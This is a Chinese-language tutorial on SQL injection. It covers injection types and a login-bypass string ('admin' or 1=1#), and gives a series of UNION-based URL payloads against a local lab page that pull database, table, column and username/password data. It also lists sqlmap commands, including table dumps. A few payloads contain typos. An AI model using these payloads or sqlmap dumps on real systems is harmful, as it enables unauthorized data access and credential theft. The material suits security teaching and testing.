文章目录
SQL注入原理
SQL:结构化查询语言,是一种特殊目的的编程语言,一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。
原理:通过构建特殊的输入把恶意的SQL语句插入到web提交表单或页面请求的查询字符串中,从而欺骗服务器执行恶意的SQL语句,获取攻击者想要的信息。
发生场景:一切输入的地方,与数据交互的地方。
acccess+asp注入基本流程
1)判断有无注入点
2)猜解表名
3)猜解字段
4)猜解管理员ID值
5)猜解用户名和密码长度
6)猜解用户名和密码
SQL注入发现
①通过web漏洞扫描器
②在参数后面添加错误语句
③大量的对参数Fuzz测试
④直觉
注入分类
- 数字型注入
SELECT * FROM users WHERE id=$id LIMIT 0,1;
2。 字符型注入
SELECT * FROM users WHERE username=’admin’ LIMIT 0,1;
注入提交方式
- GET
- POST
- COOKIE
- HTTP头部注入
注入方式
- 基于报错注入
- 基于布尔的盲注
- 基于时间的盲注
- 联合查询
- 内联查询
- 堆叠的查询
SQL手工注入
- php万能密码
admin’ or 1=1#
原理如果网站账号为
admin
,密码为admin
。
则正常登陆sql语句为:select * from user where username='$user' and password='pass'
;
注入后语句为:select * from user where username='admin' or 1=1#' and password='pass';
手工注入流程:
- 猜解字段
- 查看当前数据库
- 查询所有数据库
- 查询数据库中的表
- 查询表名中的所有字段
实例操作过程:
http://192.168.4.4:8003/Less-1/?id=1’ order by 11%23 #判断是否有11个字段(%23表示#号)
http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,2,3%23 #联合查询
http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,version(),3%23 #查看版本
http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,user(),3%23 #当前用户权限
http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,database(),3%23 #查看当前使用数据库
http://192.168.4.4:8003/Less-1/?id=-1’ Union select 1,group_concat(schema_name),3 from information_schema.schemata%23 #查询所有数据库
http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23 #查询数据库中的表,其中7365637572697479为数据库名的16进制数
http://192.168.4.4:8003/Less-1/?id=-1’ UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM infomation_schema,columns WHERE table_name = 0x7573657273%23 #查询表名中的所有字段,其中7573657273为表名的16进制数
http://192.168.4.4:8003/Less-1/?id=-1’ union select 1,,concat(username,0x3a,password),3 from users%23 #联合查询
常见查看数据库信息的函数:
version() 数据库版本
user() 用户名
database() 查看数据库
sqlmap的使用
使用环境:python
官网:http://sqlmap.org
启动运行:python sqlmap.py
常用参数
python sqlmap.py -u http://URL -v 3 #判断注入,1-6级别,越高显示信息越详细
python sqlmap.py -u http://URL -v 3 --dbs #数据库
python sqlmap.py -u http://URL -v 3 --current-user #当前用户
python sqlmap.py -u http://URL -v 3 --current-db #当前数据库
python sqlmap.py -u http://URL -v 3 --tables -D 数据库名 #查查询表
python sqlmap.py -u http://URL -v 3 --column -T 表名 -D 数据库名 #查询字段
python sqlmap.py -u http://URL -v 3 --dump -T 表名 -D 数据库名 #显示表中全部内容
python sqlmap.py -u http://URL -v 3 --dump -C 字段名 -T 表名 -D 数据库名 #显示字段中的内容
针对POST方式的注入
- 使用burpsuite进行抓包
java -jar Burpsuite ##运行软件
- 把捉到的包数据放入文件中
python sqlmap.py -r 1.txt -v 3
防护SQL注入
- CDN隐藏真实IP地址
- 通过安全函数进行过滤
- 对数据库最小权限设置
- 服务器针对性的WAF防火墙